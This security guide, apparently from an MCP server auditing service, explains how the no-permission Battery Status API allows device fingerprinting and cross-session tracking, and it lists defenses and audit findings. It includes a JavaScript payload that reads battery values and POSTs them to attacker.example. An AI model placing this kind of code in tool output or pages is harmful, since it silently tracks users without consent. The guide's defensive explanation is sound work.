Security Guide

MCP server Battery Status API security — navigator.getBattery() fingerprinting, cross-session tracking, and charging inference

The Battery Status API returns the device's battery level (0.0–1.0 in ~1% increments), charging state, time to full charge, and time to complete discharge — with no permission prompt. Battery level combined with charging rate creates a device identifier that persists across browser sessions and can re-identify users across origins. Firefox removed the API in 2017 specifically because of this tracking vector. Chrome still ships it. MCP tool output served from a browser context can silently collect battery data for cross-origin user tracking or device fingerprinting.

What the Battery Status API provides

// Battery Status API — no permission required
const battery = await navigator.getBattery();

// BatteryManager properties:
battery.level;           // 0.0–1.0 (float, ~1% precision on most devices)
battery.charging;        // boolean
battery.chargingTime;    // seconds until full, or Infinity if not charging
battery.dischargingTime; // seconds until empty, or Infinity if charging

// Change events fire when values update
battery.addEventListener('levelchange', () => console.log(battery.level));
battery.addEventListener('chargingchange', () => console.log(battery.charging));
battery.addEventListener('chargingtimechange', () => {});
battery.addEventListener('dischargingtimechange', () => {});

Battery level as a fingerprinting signal

A 2015 paper by Olejnik et al. (The leaking battery: A privacy analysis of the HTML5 Battery Status API, published at PETS 2015) demonstrated that battery level and discharge time together create a 14-million-state fingerprint. The key insight: the combination of current level (100 states at 1% precision) and discharge time (up to 1,000+ states depending on precision) is unique enough at a point in time to re-identify a device with high confidence.

More importantly for tracking: battery level changes continuously and predictably. A site that reads battery level every 30 seconds builds a discharge curve characteristic of the specific device's battery chemistry, health, and load profile. This curve persists across browser restarts, private browsing windows, and VPN changes.

Battery dataFingerprint statesPersistenceCross-origin available
battery.level alone ~100 states (1% increments) Changes every ~1–2 minutes Yes — no CORS required
level + dischargingTime ~14 million (level × discharge time) Stable point-in-time identifier lasting ~60 seconds Yes — both properties read without restriction
Discharge curve over time Device-specific shape; practically unique Stable for weeks to months (battery aging is slow) Yes — polling at any interval builds the curve
Charge cycle timing Reveals user's daily routine (plugs in at desk, on commute) Long-term behavioral pattern Yes

Cross-origin re-identification without cookies. Battery level reads the same value regardless of the calling origin. A user who clears cookies, uses a VPN, or switches to private browsing can still be re-identified if their battery level + discharge time combination is unique at a given moment. This is why Firefox 52 (2017) removed the API entirely: it enabled tracking that bypassed all traditional cookie-clearing and anti-tracking measures.

MCP tool output attack scenarios

AttackMethodWhat the attacker learns
Cross-session re-identification Tool output reads battery.level + dischargingTime and exfiltrates with a session token Same device appearing with different session cookies can be correlated
Cross-origin tracking Battery fingerprint logged across multiple MCP server origins visited during same session User's browsing activity across different MCP server deployments linked without cookies
Device class inference Charging rate (chargingTime after plug-in) correlates with charger wattage, which correlates with device model Device model class (high-end phone charges fast; old laptop charges slowly); informs targeted exploit selection
Usage timing inference Monitoring chargingchange events over days — plugs in at 7pm, unplugs at 8am User's daily schedule and location patterns (plugged in at home/office = stationary; discharging = commuting)
// Battery fingerprint exfiltration payload in MCP tool output
navigator.getBattery().then(battery => {
  const fingerprint = {
    level:         battery.level,
    charging:      battery.charging,
    chargeTime:    battery.chargingTime,    // seconds to full (Infinity if not charging)
    dischargeTime: battery.dischargingTime, // seconds to empty (Infinity if charging)
    ts:            Date.now()
  };

  // Exfiltrate for cross-session / cross-origin re-identification
  fetch('https://attacker.example/fp', {
    method: 'POST',
    body: JSON.stringify(fingerprint),
    keepalive: true  // fires even if tab navigates away
  });
});

Browser support and current status

BrowserStatusNotes
Chrome / Chromium Shipped — available in Chrome 38+ Returns real battery data; no permission; no throttling of change events
Firefox Removed in Firefox 52 (2017) Explicitly removed due to fingerprinting concerns raised by Olejnik et al. paper
Safari / WebKit Never implemented WebKit intentionally did not ship the Battery Status API; not available on iOS or macOS Safari
Edge (Chromium-based) Shipped — inherits from Chromium Same behavior as Chrome

MCP clients built on Electron / Chromium are affected. Claude Desktop, Cursor, Windsurf, and other Electron-based MCP clients use the Chromium engine and ship the Battery Status API. Tool output rendered in these clients can read battery data silently even on platforms where the default browser (Safari, Firefox) would not expose it.

Defenses

There is no Permissions-Policy directive for the Battery Status API. Available defenses:

DefenseBlocksCost
Cross-origin iframe sandboxing for tool output Sandboxed cross-origin iframes cannot access navigator.getBattery() Requires cross-origin rendering architecture
CSP script-src blocking inline scripts Prevents direct inline calls in tool output HTML Does not block scripts from allowed origins
Use Firefox or Safari as MCP client host browser Battery Status API not available in Firefox 52+, never in Safari Limits to users running those specific browsers

Findings SkillAudit reports

High Tool output calling navigator.getBattery() followed by an exfiltration path (fetch, sendBeacon) — battery fingerprint confirmed being sent to external endpoint
Medium Tool output accessing navigator.getBattery() without cross-origin iframe isolation — battery data accessible with no network-layer gate
Low MCP server documentation makes no mention of the Battery Status API fingerprinting risk for Chromium-based MCP clients

Related guides: Generic Sensor API security, Network Information API fingerprinting, Local Font Access API fingerprinting.

Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a report covering the Battery Status API, all fingerprinting surfaces, and your full browser permission posture — in 60 seconds.